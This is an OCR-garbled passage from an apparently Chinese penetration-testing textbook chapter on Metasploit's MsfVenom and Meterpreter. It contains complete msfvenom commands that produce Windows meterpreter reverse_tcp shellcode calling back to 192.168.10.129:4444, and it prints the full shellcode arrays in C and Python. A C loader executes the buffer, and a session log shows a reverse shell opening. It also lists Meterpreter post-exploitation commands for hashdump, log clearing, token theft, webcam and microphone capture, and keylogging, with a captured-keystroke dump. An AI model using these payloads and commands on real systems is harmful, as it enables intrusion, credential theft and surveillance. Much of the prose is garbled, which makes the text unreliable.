[+#] Started reverse TCP handler on 192.168.10.129:4444

3-21 Metasploit {EZ2 6 Z M TR &

EE: A ZE BRSSP, Metasploit iAW 4444 s 0L B A Ko,

3.3 MsfVenom TE 45

MsfVenom J& Metasploit Framework i i HE 42 & ] F A= 1% payload Bk #fmr 09 T
H.,MsfVenom H[a]if B msfpayload A1 msfencode Bi> L E AT HE , BE v DA 4E 1% payload
T gk Aoy , ] DL gAY payload I 247 .

7£ Kali Linux iy 4 &% AT msfvenom -h a74 . fi B 5 B 5 8, i id 3-22 iR,

MsfVenom T H 1 JH 7 2 52 . a2k
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XIS
/usr/bin/msfvenon [options] < var = val >
£ Z
/usr/bin/msfvenom — p Windows/meterpreter/reverse tcp LHOST =< IP> — f exe — o payload. exe
< P kali)-[~]
$ msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: fusr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-1, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, p
latforms, archs, encrypt, formats, all
-p, -—payload <payload> Payload to use (-—-1list payloads to list, --list-options for argumen
ts). Specify '-' or STDIN for custom
-=list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use —list formats to list)
-2, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries.
Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use -

3-22 i MsfVenom T EFHEIEE
1F Kali Linux &0 AT Z 609 2 )5 . & 78 450 TAE B 72~ 2B i Meterpreter 5
shell B payload X i Z 7 , £ 77 2 payload. exe 3L,
3.3.1 MsfVenom Z4L 150

MsfVenom T. B s T msfpayload fl msfencode B T RE . ff F = U] e i &, BE ]
LA AR S AS R 3 i) 103k 3 A payload, 7] LA A shellocde 4815, MsfVenom F)Z %
AU

= ) 26 A e, B0 45 payloads . encoders.nops.platforms.archs,encrypt.formats.all

-1, ——1list < type > List all modules for [type].

# BLE payload A

—p, —— payload < payload >

# 31|12 payload Z:#(

—— list — options List —— payload < value >'s standard, advanced and evasion options

= BE Hi A% X

- f, —— format < format > Output format (use —— list formats to list)

= BEE iR

— e, —— encoder < encoder > The encoder to use (use —— list encoders to list)

= BeE Ik 5 44 R

—— service — name < value > The service name to use when generating a service binary
FBOE 4R

—— sec — name < value > The new section name to use when generating large Windows

binaries. Default: random 4 — character alpha string

= {6 H r A g% 5 2, 4 i d /)N payload I f 7 fur

——smallest Generate the smallest possible payload using all available encoders
# W E X shellcode il %5 5% 2 fith i) 25 741
—— encrypt <value > The type of encryption or encoding to apply to the shellcode

(use —— list encrypt to list)
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= W B4 key H

—— encrypt — key < value > A key to be used for —— encrypt

= BCE NN B 46 AL ) =

—— encrypt — iv < value > An initialization vector for —— encrypt

= BE RGN

—a, ——arch < arch> The architecture to use for —— payload and —— encoders (use

—— list archs to list)
4 RET A%

—— platform < platform> The platform for —— payload (use —— list platforms to list)
# ¥ payload Tt 454 LR A7 B SC A4

-0, ——out < path> Save the payload to a file

% MR shellcode H Al IR <5

—b, ——Dbad- chars <list> Characters to avoid example: '"\x00\xff'

£ BIE nop & BRAE R/

—n, ——nopsled < length> Prepend a nopsled of [length] size on to the payload

# B 5E nop Z5 B AE A g kb 42 K/

—— pad — nops Use nopsled size specified by — n < length > as the total

payload size, auto — prepending a nopsled of quantity
(nops minus payload length)
# W E fie K1Y payload Bk 2 faf BT i 7 5 4L

—s, —— space < length> The maximum size of the resulting payload

# 1 A e K0 4 i payload J<f 28 far BT i 57 15 4

—— encoder — space < length > The maximum size of the encoded payload (defaults to the — s
value)

B AE fe R 2 B IR H

— 1, —— iterations < count > The number of times to encode the payload

2 % AL & H AL Y win32 shellcode A

—c, ——add- code < path> Specify an additional win32 shellcode file to include

& BE A E AT AT R PP AR

- x, —— template < path> Specify a custom executable file to use as a template
% WE A shellcode B 19 7] PUATFE T RE 5 IE #1547, shellcode DAL 9 77 iz 4T
-k, ——keep Preserve the —— template behaviour and inject the payload

as a new thread

= WOE HE LA

- v, — — var — name < value > Specify a custom variable name to use for certain

output formats

£ 15 5 R B ] i

—t, —— timeout < second > The number of seconds to wait when reading the payload from
STDIN (default 30, 0 to disable)

= i A5 B A5 S

—h, —— help Show this message

3.3.2 MsfVenom /X shellcode

MsfVenom T.HREA] LLAE A EXE W U7 R 7, 0] LA BGE & 45 Fh 9 215 5 1Y shellcode
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ACHS . B andi i MsfVenom T.H4: i, Meterperter reverse shellcode GRS, i 2 .

msfvenom — p windows/meterpreter/reverse tcp LHOST = 192.168.10.129 LPORT = 4444 — f c
# — p B payload JHY

# LHOST i & Wi Wr v IP Hihk

# LPORT i3 . 5 W 3 3 11 -5

#-f X B shellcode 2 %l

A AT G - & 7F Kali Linux iy 4 20 i i shellcode RS ANF «

Payload size: 354 Bytes

Final size of c file: 1512 Bytes

unsigned char buf[] =

"\ xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xcl\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\x£f4\x03\x7d\x£8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xf £\ xF£\xf£\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x0a\x81\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\ x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xf£\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\x£8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xad\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\ x68\x02\xd9\xc8\x5f\xff\xd5\x83\x£8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xfF\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5" ;

MsfVenom T.HAALAT LA A7 & C 1 5 1824 X shellcode A65 , ] DLA: BT &
HAth 45 #2155 #5200 shellcode f815 . 7 Kali Linux iy 4 & ¥ 4T msfvenom —-list formats
A 5 & F MsIVenom T H 3CHF 09 4% =0, WKl 3-23 FiR

£ MsfVenom T H 47 4 & 4 4 W] £E i Python i F # 20 shellcode A5, 4y 4
Wr

msfvenom — p windows/meterpreter/reverse tcp LHOST =127.0.0.1 — f python
[ = ] No platform was selected, choosing Msf: :Module: :Platform: :Windows from the payload
[ = ] No arch selected, selecting arch: x86 from the payload



68 <«

BRI [0 /AT E A 1 R

No encoder specified, outputting raw payload
Payload size: 354 Bytes

Final size of python file: 1757 Bytes

buf = b""

buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf
buf

+=
+=
+=
+=
+=
+=
+=
+=
+=
+=
+=
+=
+=

b"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64"
b"\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28"
b"\x31\xf£\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c"
b"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52"
b"\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
b"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x8b\x58\x20"
b"\x50\x01\xd3\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34"
b"\x8b\x01\xd6\x31\xc0\xcl\xcf\x0d\xac\x01\xc7\x38"
b"\xe0\x75\xf4\x03\x7d\x£8\x3b\x7d\x24\x75\xe0\x58"
b"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b"
b"\x5b\x61\x59\x5a\x51 \xff\xe0\x58\x5f\x5a\x8b\x12"
b"\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68"
b"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8"
b"\xf£f\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
b"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x7f\x00\x00"
b"\x01\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50"
b"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97"
b"\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85"
b"\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
b"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f"
b"\xff\xd5\x83\x£f8\x00\x7e\x36\x8b\x36\x6a\x40\x68"
b"\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xad\x53\xe5"
b"\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
b"\xc8\x5f\xff\xd5\x83\x£f8\x00\x7d\x28\x58\x68\x00"
b"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2£\x0£\x30\x£f£"
b"\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff"
b"\x0c\x24\x0f\x85\x70\xf£\xf£\xff\xe9\xOb\xff\xf£"
b"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2"
b"\x56\x6a\x00\x53\xff\xd5"

L§ msfvenom —-list formats

Framework Executable Formats [--format <value>]

Name

asp
aspx
aspx-exe
axis2

dll

elf

elf-so

exe
exe-only
exe-service
exe-small
hta-psh

& 3-23 MsfVenom TET#HHHHER



$3&E £ R0 fTshellcode [P 69

SR shellcode AR TE R P 3t 30 ML AT L U2 7 3 S 3 shell 300 4 W . 46 W 3 81
A LI i S shell 78 % 7 it LR PATIE R R G % .

3.4 CIiET mmE 1T shellcode X5

Windows #:4F 22 48 Jo ik B 4% #4047 shellcode fCRY , 75 B4l ] 45 #2158 5 8 shellcode hn#
PN AEZS ], RGBT N AEZS [ B shellcode U5, fEARZ B M ARTE S P.CiBET E—1]
1 ) S R g R R R R E R BN BN RG22 —, U C Il & e H v L
7558 Hb %k Y AR BRAE , SEIRHAT shellcode FERG T RE ARG AN F .

//% 3 % /testshellcode. cpp

# include < stdio. h>

# include < windows. h>

£ include < stdlib. h>

# include < string. h>

//MsfVenon “E fi{, C 15 = #% 2 H shellcode {415

unsigned chaR Shellcode[] =

"\ xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
"\x75\xef\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xcl"
"\ xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x0a\x81\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xf£\xd5\x83"
"\ xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xfF\xff\xe9\x9b\xf £\ xFf\xff\x01\xc3\x29\xc6\x75\xcl\xc3\xbb"
"\x£0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()

{
printf("Size = % d\n", strlen(shellcode));
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system("PAUSE") ;
((void ( * )())shellcode)(); # 447 shellcode
return 0;

B i EALIAT shellcode & 23 n) Wi WT IR &5 #5 o S5 shell, G0 E 3-24 FiaR

MET6 exploitl 1/ha J > exploit

Started reverse TCP handler on 192.168.10.129:4444

Sending stage (175686 bytes) to 192.168.10.1
Meterpreter session 1 opened (192.168.10.129:4444 — 192.168.10.1:50822) at 2022-09-07 20:35:21 -0400

meterpreter >

B 3-24 HITARE[HKINE PRIt EH R shell
Metasploit Framework 1 % ] 3 #E 22 ¥ A9 msfconsole W5 W7 AR 55 #% Ui 35 B 3 shell

J& » AT AE shell 283 o 25 A 5 3 RSB o — 20 38 H s gt 47 I,

3.5 Meterpreter |58 iE MR '+ B

Metasploit Framework {3 iBHESL ) Meterpreter FE IR UL T V5 2 H T J5 12 1% K 19 )

AEM R . B UNIRAT sysinfo A& A FE M AT % S Im i HAA ML R G5 B AU InF .

meterpreter > sysinfo

Computer : LAPTOPO1
0Ss : Windows 10 (10.0 Build 19043).
Architecture : x64

System Language : zh CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/Windows

fili F help 5% #FH Meterpreter F5e i 52 Bt 19 A 6] 28 8 1 iy S 80, WA 3-25 B

meterpreter > help

Core Commands

Command Description

7 Help menu

background Backgrounds the current session

bg Alias for background

bgkill Kills a background meterpreter script

bglist Lists running background scripts

bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel

detach Detach the meterpreter session (for http/https)

disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values

& 3-25 #iH Meterpreter # Bi{5 2
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B AR Meterpreter SR L TR £ 2 Bk W1, (0 FH 5 a] DUAR 35 4y & 4 28 P o 52 o 2L K

2 IR R A > SRS AT 55

o
i~

3.5.1 Meterpreter %t

Meterpreter J5 3 B P42 i) Core Command /3P T .OmS . 72T .
#%&ﬁ%%%
Help menu
#H#mzﬁﬁ?F iBAT
background Backgrounds the current session
bg Alias for background
% XM G 61817 H) Meterpreter fiiAs
bgkill Kills a background meterpreter script
2 32 5 6 15 17 i) Meterpreter [l 4«
bglist Lists running background scripts
# DL 6 4R 1 7 X AT Meterpreter AR
bgrun Executes a meterpreter script as a background thread
# 7R A5 B SR AR IR E
channel Displays information or control active channels
# KM{FIE
close Closes a channel
= B B hD Meterpreter 431
detach Detach the meterpreter session (for http/https)

= 28 B Unicode %t

disable unicode encoding Disables encoding of unicode strings
# J& i Unicode % f%

enable unicode encoding Enables encoding of unicode strings
# & || Meterpreter 43

exit Terminate the meterpreter session

AR ICY 1 S35 R A A A ] A fE

get_timeouts Get the current session timeout values
# R 25 AR 1 GUID

guid Get the session GUID

= i A5 B A5 S

help Help menu

= % 5 BB R E B

info Displays information about a Post module
# 75 4 [ 22 1% H 4T FF Ruby 32 H. shell

irb Open an interactive Ruby shell on the current session

# 3% — A>3 £ 4> Meterpreter i R AR Ht

load Load one or more meterpreter extensions

# R B {T MSE ID Fr s Bt 2 &5 1

machine id Get the MSF ID of the machine attached to the session
= 85 12 55 3T B 3 H At i

migrate Migrate the server to another process

= 8 Bk Al e T i

pivot Manage pivot listeners
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& 76 4T &G T IT Pry W14 by

pry Open the Pry Debugger on the current session

# 2 || Meterpreter £:if

quit Terminate the meterpreter session

= MR 1 Ko i

read Reads data from a channel

B AT SO A

resource Run the commands stored in a file

# 4T — > Meterpreter A 55 15 iF M I A R

run Executes a meterpreter script or Post module

£ 0% £ 1 RO AL I A

secure (Re)Negotiate TLV packet encryption on the session
= PR 5 0 BR 25 1

sessions Quickly switch to another session

= U Y 2 T R A TR

set timeouts Set the current session timeout values

# 5 ] Meterpreter B & 7 23 1 % 4%

sleep Force Meterpreter to go quiet, then re — establish session
£ & SSL Ik 4 i &

ssl verify Modify the SSL certificate verification setting
= 4 BB AL o L

transport Manage the transport mechanisms

# 32 1 load fir 4> 19 31 44

use Deprecated alias for "load"

# AR WL AT 235 UUID AR iR

uuid Get the UUID for the current session

# ) {5 B ARUE

write Writes data to a channel

Meterpreter J5 B B B A7 4 1) File System Commands 4328 P2 4L T SCHE#AEM S,

= 7 B ) B 3 B P i A4S M 35 718 18 1T msfconsole ML, A2 FE 8 H in it 2L

= O i S A

cat Read the contents of a file to the screen

£ B &1E TAE B R kA

cd Change directory

# R SR I Y

checksum Retrieve the checksum of a file

= 52 S

cp Copy source to destination

= W B S A

del Delete the specified file
#5026 H %, 1s i 4 1951 44

dir List files (alias for ls)

£ RS EE

download Download a file or directory
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edit Edit a file

# Hiy A T AE H SR g AR

getlwd Print local working directory
= i i S AR AR H AR

getwd Print working directory

& TR IOAS SR A 2R

lcat Read the contents of a local file to the screen
F BB T AE B AR

lcd Change local working directory
# 525 T4 H 5%

1ls List local files

# iy A T A H SR g AR

lpwd Print local working directory
# 512 R H S S

1s List files

£ o E R A

mkdir Make directory

# B ghim AR B o

mv Move source to destination

% 5% R TAE H 5

pwd Print working directory

= BRI AR AR B % R B AR S

rm Delete the specified file

£ MR PR T AR H S R L E

rondir Remove directory

= A i SR AR

search Search for files

& R M AR

show_mount List all mount points/logical drives
=¥ SRk B SR 1 AR B

upload Upload a file or directory

Meterpreter J5 3 B P4y 4 ) Networking Commands 4328 P42 4L T R 25 Bt B v 2,

AU .

# 4 ARP ZAE R (G B

arp Display the host ARP cache

= i th 2 E AR A R

getproxy Display the current proxy configuration
= fy ) 255 T A R

ifconfig Display interfaces

ipconfig Display interfaces

= Hiy ) AR R

netstat Display the network connections

# 3 I E 5 ()

portfwd Forward a local port to a remote service

= i EHLA
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resolve Resolve a set of host names on the target
= A A FE B R
route View and modify the routing table

Meterpreter J5 B B AT 4 A System Commands 43R T ZRE B B, md

Wr.

# {ﬁ K%/%/L%’#F E{ u_,\laﬂ:‘%

clearev Clear the event log
=15 B T A R 23 1 A
drop_token Relinquishes any active impersonation token.
£ B IAT RS AL
execute Execute a command
# AR E ARG AR
getenv Get one or more environment variable values
RIS [T SRR AR IR
getpid Get the current process identifier
S ITE 2 HEAR P4 TR AR
getprivs Attempt to enable all privileges available to the current process
= RIS | - SID
getsid Get the SID of the user that the server is running as
= I HH P
getuid Get the user that the server is running as
# 24 E R
kill Terminate a process
= i th H AR F g AR H B0 R E [R]
localtime Displays the target system local date and time
= il FH 44 R i 3 AR
pgrep Filter processes by name
= fdi 1] 24 R4 L R
pkill Terminate processes by name
£ P 2855 1T Y BERR S B
ps List running processes
Ja B AR
reboot Reboots the remote computer
=B H R AL R R
reg Modify and interact with the remote registry
£ 78 H AR 7ML H 98 ] RevertToSelf pR%{
rev2self Calls RevertToSelf() on the remote machine
#HEA HFRTHSEHLEY shell iy 4 243
shell Drop into a system command shell
£ QM B bRt E AL
shutdown Shuts down the remote computer
# 2205 X H AR R ALY 2 5 A A
steal token Attempts to steal an impersonation token from the target process
= B {5 B R
suspend Suspends or resumes a list of processes
& f i B AR AL R L 15 B
sysinfo Gets information about the remote system, such as 0S

Meterpreter J&5 8 #R 7 411 User Interface Commands 4284240 T 3 Ol &
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& F2 A] LAy ) B9 H bR TSR LS T A Windows T4 o

enumdesktops List all accessible desktops and window stations
# ARWY T Meterpreter H 4 i+ H AL 5L T

getdesktop Get the current meterpreter desktop

= AR HARTHEHL idle B[]

idletime Returns the number of seconds the remote user has been idle
= 4 B A RBE R 2% B H AR T AL

keyboard_send Send keystrokes

K A R R 2 B E AR TS

keyevent Send key events

£ 3SR A w1 SR v XA B

keyscan_dump Dump the keystroke buffer

£ I )i S 0 SRR T

keyscan_start Start capturing keystrokes

£ QM 5 0 SRR T

keyscan_stop Stop capturing keystrokes

= e bR S 2 3% B B AR IR 55 A%

mouse Send mouse events

= SLi A F AR E A RS A R

screenshare Watch the remote user desktop in real time

= PV A B 5 T Y PR R

screenshot Grab a screenshot of the interactive desktop
= ) Meterpreter 5 JA]

setdesktop Change the meterpreters current desktop

= AR AR IR P e 1 A

uictl Control some of the user interface components

Meterpreter Ji 8B A7 2 1 Webcam Commands 432 B 1 1 378 & A1 8 4%k I &

AT AT IR

5 T BROA S 2 9 SR P

record_mic Record audio from the default microphone for X seconds
= Jet FH A AR R

webcam_chat Start a video chat

& 526 515 Sk

webcam_list List webcams

= (AR 40 IR

webcam_snap Take a snapshot from the specified webcam

= AT

webcam stream Play a video stream from the specified webcam

Meterpreter J5 B BBy 4 A Audio Output Commands 43S H $2 448 T 75 45 88 it 1y

LT

& 75 H AR T3 AL R 3 Sk

play play a waveform audio file (.wav) on the target system
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HAMl Meterpreter 58 BB Ay S 2 & FP DI BE . Ar 2 W0 »

#1E AR AL # T shell ALIR

getsystem Attempt to elevate your privilege to that of local system.
= YIVHR SaM LA e vp il 1 P e A (6

hashdump Dumps the contents of the SAM database

= #AE S B

timestomp Manipulate file MACE attributes

3.5.2 Meterpreter ZE3Lid % KW

Meterpreter FE e g7 I T4 210 5% 10 2 B0A keyscan_start, keyscan_dump. keyscan
stop 2% 3 A H, 8 H [ 7 P AT S ECR AT 5% B bRt B AL R S Y
B G, # ] keyscan_start JF 5 880 SR I BEA R, TN F 3-26 AT,

meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > ||

3-26 FREZITEINEEHER

TETT IR S A0 SR BRI R - HARTHE DL fin A B N A A7 R e S B IC SRR A7 IX . AT
keyscan_dump fir 2> A LAARIRCEE £ 10 5% 22 A7 DX HR . an 18] 3-27 s .

meterpreter > keyscan_dump

Dumping captured keystrokes ...

sc<CR>

<Left><Left><Left><Right><Right><Right>rutul3-26suoshi .<CR>

<"H><CR>

<"W><"H><"H><CR>

<Tab><"H>sange canshul,s<"H>shiyong guding de <"H>shux<“H>nxuljiukl<”Hz<"Hzi<"H>jik1ji
lulmubiao jisuanjl<®H><"H><"H>jiusaj<"H><"H><"“H><"H>an<“H><"H>suanjljianpan anjianlshu
Xu<"H><"H>nxul.<"S>zhixing canshul<Left>shouxian ,<Up><"H>kaiiq jianpan jianul<"H><"H>
jilul,<"H>dee xiutan <"H><"H><"H>xiutan houl,<lLeft><Left><Left><Left><Left><Left><Left
»<Leftr<left><Left><Left><Left>zai ruguolzai mubioca jisuanj zhog <"H>shruulneirong <"H
»<"Hrcleftr<Left><Lefta<leftr<Leftr<Left><lefta<left><lLeft><Left><Right><"H><"H><Right
»<"H><Right><Right><Right><Right><Right><Right><Right><Right>d nierong <"“H><“Hzneirong

E 327 MEBEICREFEXEHIE

R B0 SR G W OB IS L /0 e &5 5, 1T AR 2 4% B B 200 S P AE AR UM B . BRIA
‘%‘/RFﬁ%ﬁiﬁ%lﬁ%%ﬁ‘é—ﬁh?ﬁ?ﬁm HAT AT keyscan_stop i 4> A4 1] DL G P 4
SR DI BE , WA 3-28 Fian .
meterpreter > keyscan_stop

Stopping the keystroke sniffer ...
meterpreter > [

3-28 XHABEICRRIFINE
AREHFANG T Metasploit Framework 12 i85 M 30 HE 22 A% L Al (1 FH 5 32, BROSRAY 152 38
Al LA B R RHR A £



